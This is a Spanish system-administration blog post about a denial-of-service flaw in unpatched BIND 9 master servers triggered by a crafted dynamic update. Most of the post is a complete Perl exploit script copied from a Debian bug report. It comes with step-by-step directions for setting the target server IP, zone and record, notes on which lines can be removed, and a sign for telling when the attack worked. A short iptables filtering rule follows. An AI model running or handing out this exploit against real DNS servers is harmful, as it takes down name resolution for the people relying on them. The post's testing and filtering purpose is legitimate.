systemadmin.es > Seguridad > Exploit de BIND 9 – Dynamic Update DoS

Exploit de BIND 9 – Dynamic Update DoS

Tal como se indica en una nota del ISC sobre el exploit de BIND que permite realizar una denegación de servicio a todos los BIND 9 no parcheados

En el bug report de debian podemos ver un simple exploit en perl:

#!/usr/bin/perl -w

use Net::DNS;

our $NSI = 'dns server';
our $NSI_KEY_NAME = 'key name';
our $NSI_KEY = 'key';


my $rzone = 'zone';
my $rptr  = "$rzone";

my $packet = Net::DNS::Update->new($rzone);

$packet->push(
    pre => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'IN',
        Type  => 'ANY',
        TTL   => 0,
    )
);
$packet->push(
    update => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'ANY',
        Type  => 'ANY',
    )
);

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;

print $packet->string;

Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);

Para probarlo en nuestro servidor simplemente tenemos que rellenar los siguientes valores:

  • our $NSI: IP del servidor que queremos atacar, por ejemplo 127.0.0.1
  • my $rzone: Zona presente en dicho servidor
  • my $rptr: Alias que exista en la zona

La siguiente linea la podemos eliminar:

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;

Igualmente las siguientes dos variables se puede ignorar:

our $NSI_KEY_NAME = 'key name';
our $NSI_KEY = 'key';

Sabremos cuando ha tenido éxito el ataque cuando el script no termine inmediatamente. Debemos recordar que dicho exploit solo afecta a los servidores master, por lo que los servidores slave están a salvo.

Para filtrar este tipo de paquetes siempre lo podemos hacer con iptables:

iptables -A INPUT -p udp --dport 53 -j DROP -m u32 --u32 '30>>27&0xF=5'

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>